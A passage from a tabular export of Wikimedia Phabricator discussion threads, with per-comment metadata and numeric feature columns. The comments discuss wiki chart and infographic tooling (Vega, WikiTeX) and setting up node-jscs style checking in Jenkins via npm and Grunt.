We've done some thinking about this while we developed Limn [1] last year.  I believe Limn was headed in the wrong direction, but we (team analytics) are interested in solving this problem and it would be nice to combine efforts with anyone that is also interested.  Currently, I believe that Vega JS [2] is a very promising library.  It has a great mixture of simplicity and power.

My personal opinion is that creating and editing infographics would work much like Visual Editor does.  There would be a simple JSON editor on the front end, which could evolve over time.  When saved, this would use a server to generate static infographics for consumption by the cache layer.  The dynamic infographic could be accessed through a link on the static image.  The cache could be repopulated with up-to-date infographics periodically if they depend on external data.  For this vision, Vega JS is quite suitable as it can generate PNGs server side for example.


[1] URL
[2] URL"
241393,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","(In reply to comment #4)
> Should this project be still listed in that page? 

Yes.

> If not, please remove it.
> If
> it still makes sense, then it could be moved to the ""Featured projects""
> section
> if it has community support and mentors.

It lacks a mentor, plus (probably) someone to set a direction/the requirements (who may or not be the same person).",,,1385912944,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,True,,,21,,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,17.0,0.0,4.0,8.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,2.0,8.0,10.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0961538461538463,0.6346153846153846,"(In reply to comment #4)
QUOTE

Yes.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It lacks a mentor, plus (probably) someone to set a direction/the requirements (who may or not be the same person)."
241388,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","**vladjohn2013** wrote:

Hi, this project is still listed at  https://www.mediawiki.org/wiki/Mentorship_programs/Possible_projects#Support_for_text.2Fsyntax.2Fmarkup_driven_or_WYSIWYG_editable_charts.2C_diagrams.2C_graphs.2C_flowcharts_etc. 

Should this project be still listed in that page? If not, please remove it. If it still makes sense, then it could be moved to the ""Featured projects"" section if it has community support and mentors.",,,1385912632,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,10.0,5.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,6.0,10.0,0.0,2.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.596774193548387,0.7096774193548387,"**vladjohn2013** wrote:

Hi, this project is still listed at  URL 

Should this project be still listed in that page? If not, please remove it. If it still makes sense, then it could be moved to the ""Featured projects"" section if it has community support and mentors."
241383,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Is there an interest in proposing this project for Outreach Program for Women?
If so, and if there at least one mentor for it. please move it to the ""Featured projects"" section. This way it will be automatically transcluded in
https://www.mediawiki.org/wiki/Outreach_Program_for_Women/Round_7

Thank you!",,,1383164696,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,17.0,4.0,2.0,8.0,0.0,0.0,2.0,0.0,4.0,2.0,2.0,0.0,8.0,17.0,8.0,2.0,4.0,0.0,8.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,3.830188679245283,0.8301886792452831,"Is there an interest in proposing this project for Outreach Program for Women?
If so, and if there at least one mentor for it. please move it to the ""Featured projects"" section. This way it will be automatically transcluded in
URL

Thank you!"
241378,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Correction, the links are: [[mw:Extension:WikiTeX]] (and [[mw:Extension:WikiTex]]).",,,1379434198,,PHID-USER-wuic4cpqakaykj6cpvt5,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,2.75,0.5714285714285714,"Correction, the links are: [[mw:Extension:WikiTeX]] (and [[mw:Extension:WikiTex]])."
241373,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","What about reviving [[Extension:WikiTeX]] (not to be confused with [[Extension:WikiTex]])? This would have done graphs, plots, and more. It would be handy for it to also support simple circuit diagrams.",,,1379433154,,PHID-USER-wuic4cpqakaykj6cpvt5,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,2.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,10.0,4.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,10.0,3.5306122448979593,0.7346938775510204,"What about reviving [[Extension:WikiTeX]] (not to be confused with [[Extension:WikiTex]])? This would have done graphs, plots, and more. It would be handy for it to also support simple circuit diagrams."
56218,Jenkins: Use node-jscs as checkstyle for javascript coding style,"See https://github.com/mdevils/node-jscs

This is the first tool I've seen in the category of asserting coding style for javascript that actually looks like it is worth looking into further.

I intend to experiment with it in the near future for 1 or 2 projects, first in non-voting mode and perhaps later to become a standard enabled job for many projects.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Medium,50.0,1379415660,1409154874.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-2mkgo6douokimv6febmw,task_description,resolved,True,c1,3,True,False,False,11,,1.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,2.0,0.0,6.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,1.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,2.0,8.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,5.0,14.0,1.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,4.0,0.7126436781609196,"See URL

This is the first tool I've seen in the category of asserting coding style for javascript that actually looks like it is worth looking into further.

I intend to experiment with it in the near future for 1 or 2 projects, first in non-voting mode and perhaps later to become a standard enabled job for many projects.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
424550,Jenkins: Use node-jscs as checkstyle for javascript coding style,">>! In T56218#973118, @adrianheine wrote:
> Cool, thanks. I added `npm test`, although I didn't go through grunt since we are not running any other grunt jobs, yet:
> 
> * Wikibase: https://gerrit.wikimedia.org/r/#/c/184591/
> * integration/config: https://gerrit.wikimedia.org/r/#/c/184592/

That's quite alright. If you don't need do run bash commands like `mv`, `cp`, `rm`, `ln` etc. which might not work cross-platform if put inside `scripts.test` (so you'll want to use a nodejs script or Grunt task for that); Running programs like jscs and jshint directly is perfectly fine and actually quite common. I've recently started to use this more often as well. Only use Grunt when there's a need for it. This avoids added complexity, needless abstraction, and indirect dependencies on the underlying framework (e.g. jscs/jshint) which can be quite annoying since it doesn't like being pinned to a direct version that way.

http://blog.keithcirkel.co.uk/how-to-use-npm-as-a-build-tool/
http://ponyfoo.com/articles/choose-grunt-gulp-or-npm",,,1426088335,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,88,,0.0,0.0,0.5,0.5,1.5,5.5,1.0,0.0,0.0,1.0,1.5,2.5,0.0,0.5,0.5,0.5,0.5,11.5,7.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,1.0,0.5,0.0,4.5,0.0,1.5,0.5,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,9.0,1.5,1.5,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,2.5,2.0,11.0,2.5,2.5,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,1.0,0.5,0.0,1.0,3.8611111111111107,0.8055555555555556,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's quite alright. If you don't need do run bash commands like CODE, CODE, CODE, CODE etc. which might not work cross-platform if put inside CODE (so you'll want to use a nodejs script or Grunt task for that); Running programs like jscs and jshint directly is perfectly fine and actually quite common. I've recently started to use this more often as well. Only use Grunt when there's a need for it. This avoids added complexity, needless abstraction, and indirect dependencies on the underlying framework (e.g. jscs/jshint) which can be quite annoying since it doesn't like being pinned to a direct version that way.

URL
URL"
398810,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Cool, thanks. I added `npm test`, although I didn't go through grunt since we are not running any other grunt jobs, yet:

* Wikibase: https://gerrit.wikimedia.org/r/#/c/184591/
* integration/config: https://gerrit.wikimedia.org/r/#/c/184592/",,,1421144139,,PHID-USER-m2zne2efu3rgmre73nl7,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,False,,,80,,3.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,18.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.41025641025641,0.7948717948717948,"Cool, thanks. I added CODE, although I didn't go through grunt since we are not running any other grunt jobs, yet:

* Wikibase: URL
* integration/config: URL"
398785,Jenkins: Use node-jscs as checkstyle for javascript coding style,">>! In T56218#972923, @adrianheine wrote:
> Is there work being done to get this run on ci? I'd like to push this for Wikibase as well :)

You will need a package.json and a npm 'test' entry point with a devDependencies for grunt-jscs.  From there we can add a Jenkins job that invokes 'npm test' and that should run jscs.

Example:

https://gerrit.wikimedia.org/r/#/c/100732/

More details at https://www.mediawiki.org/wiki/Continuous_integration/Test_entry_points#JavaScript :-)",,,1421140918,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,80,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,32.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,16.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,7.0,2.0,0.0,7.0,0.0,4.0,0.0,2.0,7.0,0.0,0.0,2.0,0.0,0.0,3.508771929824561,0.7017543859649122,"QUOTE
QUOTE

You will need a package.json and a npm 'test' entry point with a devDependencies for grunt-jscs.  From there we can add a Jenkins job that invokes 'npm test' and that should run jscs.

Example:

URL

More details at URL :-)"
398763,Jenkins: Use node-jscs as checkstyle for javascript coding style,Is there work being done to get this run on ci? I'd like to push this for Wikibase as well :),,,1421137099,,PHID-USER-m2zne2efu3rgmre73nl7,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,False,,,80,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,4.0,0.0,9.0,17.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,13.0,0.0,0.0,0.0,4.0,17.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1739130434782608,0.9130434782608695,Is there work being done to get this run on ci? I'd like to push this for Wikibase as well :)
241200,Jenkins: Use node-jscs as checkstyle for javascript coding style,Sounds good to me Timo. That nicely scale up CI to developers :-),,,1409164241,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,60,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,21.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.7857142857142856,0.9285714285714286,Sounds good to me Timo. That nicely scale up CI to developers :-)
241195,Jenkins: Use node-jscs as checkstyle for javascript coding style,"The bug is to figure out how to properly do it. Which I define by hacking it together for one repo, and as you repeat it for more repos you refine it until it seems sensible/maintainable.

I think we've reached that point. Any further repos that want it, can enable it the same way other pipelines are introduced. By patching their Gruntfile or adding a new npm-test pipeline.",,,1409154874,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,60,,1.0,0.0,0.0,1.0,0.0,9.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,11.0,1.0,9.0,2.0,2.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,12.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,4.0,2.0,9.0,1.0,2.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,16.0,11.0,1.0,0.0,0.0,0.0,16.0,0.0,4.0,1.0,0.0,4.0,1.0,0.0,0.0,3.8271604938271606,0.7901234567901234,"The bug is to figure out how to properly do it. Which I define by hacking it together for one repo, and as you repeat it for more repos you refine it until it seems sensible/maintainable.

I think we've reached that point. Any further repos that want it, can enable it the same way other pipelines are introduced. By patching their Gruntfile or adding a new npm-test pipeline."
241188,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Is this intended to be a tracking bug for every repo, a bug for it to be done automatically for all repos and then repos that now break need to fix themselves, or can it be marked as FIXED?",,,1395766504,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,38,,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,17.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,10.0,5.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,17.0,2.0,2.0,0.0,0.0,7.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,3.5952380952380953,0.7380952380952381,"Is this intended to be a tracking bug for every repo, a bug for it to be done automatically for all repos and then repos that now break need to fix themselves, or can it be marked as FIXED?"
241182,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Change 111963 merged by jenkins-bot:
Set up node-jscs via Grunt (and pass it)

https://gerrit.wikimedia.org/r/111963",,,1395730881,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,False,,,38,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,4.0,13.0,13.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.391304347826087,0.9565217391304348,"Change 111963 merged by jenkins-bot:
Set up node-jscs via Grunt (and pass it)

GERRIT_URL"
241178,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Change 111963 had a related patch set uploaded by Krinkle:
[WIP] Set up node-jscs via Grunt (and pass it)

https://gerrit.wikimedia.org/r/111963",,,1391746605,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,False,,,31,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,10.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.4482758620689653,1.0,"Change 111963 had a related patch set uploaded by Krinkle:
[WIP] Set up node-jscs via Grunt (and pass it)

GERRIT_URL"
241172,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Change 100732 merged by jenkins-bot:
Set up node-jscs, pass it, and configure in local Gruntfile

https://gerrit.wikimedia.org/r/100732",,,1387317987,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.92,"Change 100732 merged by jenkins-bot:
Set up node-jscs, pass it, and configure in local Gruntfile

GERRIT_URL"
241166,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Change 100732 had a related patch set uploaded by Krinkle:
Set up node-jscs, pass it, and configure in local Gruntfile

https://gerrit.wikimedia.org/r/100732",,,1386727450,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,11.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9642857142857143,"Change 100732 had a related patch set uploaded by Krinkle:
Set up node-jscs, pass it, and configure in local Gruntfile

GERRIT_URL"
241161,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Now merged locally in the repo for VisualEditor, and appears to be adding value; moving back to NEW for consideration to be added to jenkins for automated running.",,,1386355646,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,26.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,26.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.387096774193548,0.8064516129032258,"Now merged locally in the repo for VisualEditor, and appears to be adding value; moving back to NEW for consideration to be added to jenkins for automated running."
241155,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Change 99596 merged by jenkins-bot:
Set up node-jscs, pass it, and configure in local Gruntfile

https://gerrit.wikimedia.org/r/99596",,,1386355303,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.76,0.92,"Change 99596 merged by jenkins-bot:
Set up node-jscs, pass it, and configure in local Gruntfile

GERRIT_URL"
241149,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Change 99596 had a related patch set uploaded by Krinkle:
Set up node-jscs, pass it, and configure in local Gruntfile

https://gerrit.wikimedia.org/r/99596",,,1386297732,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,11.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.9642857142857144,0.9642857142857143,"Change 99596 had a related patch set uploaded by Krinkle:
Set up node-jscs, pass it, and configure in local Gruntfile

GERRIT_URL"
241144,Jenkins: Use node-jscs as checkstyle for javascript coding style,"node-jscs would be purely for coding style, not code quality (which is what jshint is primarily for).

Although there are a few minor things that jshint does in the realm of coding style, those are arguably code quality as well (like using of braces in if/else blocks).

